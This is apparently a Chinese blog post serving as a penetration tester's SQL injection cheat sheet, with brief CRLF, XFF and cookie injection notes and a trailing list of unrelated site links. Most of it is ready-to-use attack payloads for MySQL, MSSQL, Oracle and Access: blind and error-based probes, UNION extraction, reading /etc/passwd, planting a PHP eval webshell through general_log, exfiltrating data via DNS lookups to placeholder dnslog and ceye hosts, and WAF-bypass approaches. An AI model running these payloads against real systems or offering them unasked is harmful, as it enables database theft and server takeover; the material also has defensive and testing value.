• SQLI


    开源项目

    https://github.com/payloadbox/sql-injection-payload-list

     

    mysql+mybaits

    id; select 1 --

    站库分离判断

    MSSQL

    select host_name();  --客户端主机名
    select @@servername; --服务端主机名

    数据库判断

    ACCESS和SQLServer

    [Host]?[par]=[Num] and (select count(*) from sysobjects)>0 
    [Host]?[par]=[Num] and (select count(*) from msysobjects)>0 

    .net站点

    MSSQL  System.Data.SqlClient
    Oracle  System.Data.OracleClient
    MySql  MySql.Data.MySqlClient

    Mysql数据库

    SQLI检测
    " --双引号
    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    username=admin --admin账号在数据库中存在
    password=1' and (sleep * from (select(sleep(5)))    
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
        if($row)
        {
              //echo '<font color= "#0000ff">';    
            $row1 = $row['username'];      
            //echo 'Your Login name:'. $row1;
            $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
            mysql_query($update);
              echo "<br>";



    and sleep()/or sleep()

    or 1=1/or 1=2

    par=2 like 2/par=2 like 3

    and version()

     

    and ifxxx sleep

     


    '
    and 1=1 和 and 1=2
    or 1 和 or 0
    and if(1,1,0) 和 and if(0,1,0)
    and if(null,0,true) 和 and if(nll,0,false)
    and sleep(3)
    and benchmark(10000000,encode('hello','mom'))
    and if(1<2,sleep(3),sleep(1))
    like 1=if(1>2,sleep(3),1) 和 like 1=if(1>2,sleep(3),2)
    like 1=if(1>2,1,sleep(3)) --延迟注入 - 相当于 like 1=sleep(3) - 页面进入死循环
    xor 0 和 xor null
    xor if(1,0,1) 和 xor if(1,null,1)
    between 1 and sleep(3) --延迟注入 - 页面进入死循环
    between 1 and 1 和 between 1 and 2
    and if(0.00000000000000001,1,0) 和 and if(0.0000000000000001,0,1)
    and 1<>2 和 and 1<>1
    and 1=if(1<>2,1,0) 和 and 1=if(1<>2,2,1)
    xor 1<>1 和 xor 2<>null
    and 1=ifnull(1,0) 和 and 1=ifnull(null,2)
    and ifnull(sleep(3),0)
    xor ifnull(null,null)
    and nullif(sleep(3),sleep(3)) 和 and nullif(sleep(3),sleep(2)) 和 and nullif(sleep(2),0) --相应时间一次为6s,3s,2s
    xor space(1) 和 xor space(1)=null
    and space(1)=char(32) 和 and space(1)=2
    div 1=1 和 div 1=2
    div if(1,1,0) 和 div if(1,0,1)
    having if(1,1,0) 和 having if(1,0,1)
    mod 2=1 和 mod 2=2
    mod 2 和 mod 1
    mod if(1,2,0) 和 mod if(1,1,0)
    like round(1.2) 和 like round(0)
    and + case when + sleep
    xor case when 1>0 then sleep(3) else sleep(1) end --页面进入死循环
    and 'ccc'=0 和 and 'ccc'=1
    xor 'ccc' 和 xor null
    like elt(1,1) 和 like elt(2,1)
    ' and (select (load_file(concat('\\',(select database()),'.xxx.ceye.io\aaa')))#
    admin' or 'a'='a | admin" | admin' | admin") or ("a")=("a 登录框

    数据库长度判断

    if(length(database())=num,sleep(4),0)

    UNION SELECT

    id=1 union select 1,2,database(),4,5,6,7,8,9,10,11,12 from {Table_name}

    getshell

    outfile
    
    日志备份
    set global general_log='ON';set global general_log_file='/var/www/html/web00/phpinfo.php';select '<?php @eval($_POST[1]);?>';

    读取服务器信息

    select load_file('/etc/passwd');   ssh密码信息

    select load_file('/etc/udev/rules.d/70-persistent-net.rules'); 网卡信息

     

    SQLServer

    基于时间
    WAITFOR DELAY

    数据库用户首字母猜解
    Par=[Num]-(asCii(RIGHT(user,1)))
    Par=[Num]-(asCii(RIGHT(user,1)))

    sqlmap
    --is-dba 用户权限判断
    --sql-shell 执行数据库命令
    --os-shell 执行系统命令 

    注入技巧

    https://xz.aliyun.com/t/8513

    Oracle 

    布尔盲注
    length(SYS_CONTEXT('USERENV','CURRENT_USER'))

    dnslog
    or utl_http.request('http://'||user||'.xxx.dnslog.cn') = 1

     Access

    表名猜解
    and exists(select * from [FormName])

    时间盲注-XFF-2020/4/17-Payload

    X-Forward-For:'and(select 1 from (select(sleep(2)))x)#

    报错注入-EXP-2020/410-Payload

    %27,1,1,1,(select%20exp(~(select*from(select%20user())x))),1)%3B--%20-

    时间盲注-Sleep-20204/11-Payload

    select * from user where NAME =(select(1) from (select(sleep(25)))v);

    sqlmap跑数据遇到 XSRF-TOKEN

    使用 burp macros 绕过

    SQL注入语句-登录框

    select @@secure_file_priv;  --查看是否可以导入导出,为NUll表示不允许,为空表示允许

    load data infile 'c:\xxx\xxx\xxx.txt' into table a;             --mysql3.x读取方法

    select * from (select name_const(version(),1))a;   --查看数据库版本

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;   --利用数据库报错信息查看数据库版本

    concat()

    make_set()

    lpad()

    repeat()

    reverse()

    export_set()

    sleep

    注入判断
    and sleep(4)

    数据库用户名猜测

    if(user()='root',sleep(4),sleep(1));

    数据库名猜测
    if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=113,sleep(1),sleep(4));

    dnslog注入

    获取计算机名
    for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    获取用户名
    for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

    Cookie注入

    直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,然后取Cookie值
    
    http://www.xxx.com/1.asp?id=123
    如果我们只输 http://www.xxx.com/1.asp
    时,就不能看到正常的数据,因为没有参数!
    我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
    先用IE输入 
    http://www.xxx.com/1.asp
    加载网页,显示不正常(没有输参数的原因)
    之后在IE输入框再输入
    javascript:alert(document.cookie="id="+escape("123"));
    按回车,你会看到弹出一个对话框 内容是: id=123 
    之后,你刷新一个网页,如果正常显示,表示是用
    Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入
    在输入框中输入
    javascript:alert(document.cookie="id="+escape("123 and 3=3"));
    刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
    
    javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
    如果不正常显示,这就表示有注入
    View Code

    CRLF

    工具
    https://github.com/MichaelStott/CRLF-Injection-Scanner

    类型
    (1)注入
    -》 重定向攻击 (2)注入 -》 XSS攻击 POC | EXP (1)http://IP:Port%0d%0aSet-Cookie:crlf=true -> 查看 Response -》如果 Set-Cookie字段存在则漏洞存在 (2)/xx/landing?ref=xxx?t=%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%3cscript%3Ealert(9)%3c%2Fscript%3e

    SSTI注入

    sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell

    XFF注入

    注入判断
    X-Forwarded-for: 127.0.0.1 X-Forwarded-for: 127.0.0.1’ X-Forwarded-for: 127.0.0.1' and 1=1# X-Forwarded-for: 127.0.0.1' and 1=2#

    异或注入

    可用于判断过滤
    http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23
    当union被过滤时1^0 输出id=1
    当union没被过滤时 1 ^ 1 输出 id=0
    回显 error

     

    Par格式问题 . SQLI检测

    括号
    (1)Par=([Num]) Par=([Str])
    ) and 1=1 和 ') and 1=1#

    SQLI  安全设备绕过方法

    大小写转换法    
    特殊字符构造法    
    编码绕过
    拼凑法

    靶场

    https://github.com/Audi-1/sqli-labs  需要php版本低于php5.6

    参考

    union select 1,2,@@version
    https://hackerone.com/reports/1046084
  • 相关阅读:
    SQLPrompt 最新下载和使用方式
    ThinkPHP模板引擎
    Ajax随笔
    php生成mysql数据库dateTime类型时间
    json变量声明
    MYSQLI:mysqli预处理语句
    php网页乱码问题
    详细解读Jquery各Ajax函数:$.get(),$.post(),$.ajax(),$.getJSON()
    PHP给图片添加水印
    php中var关键字用法
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/10906975.html
Copyright © 2020-2023  润新知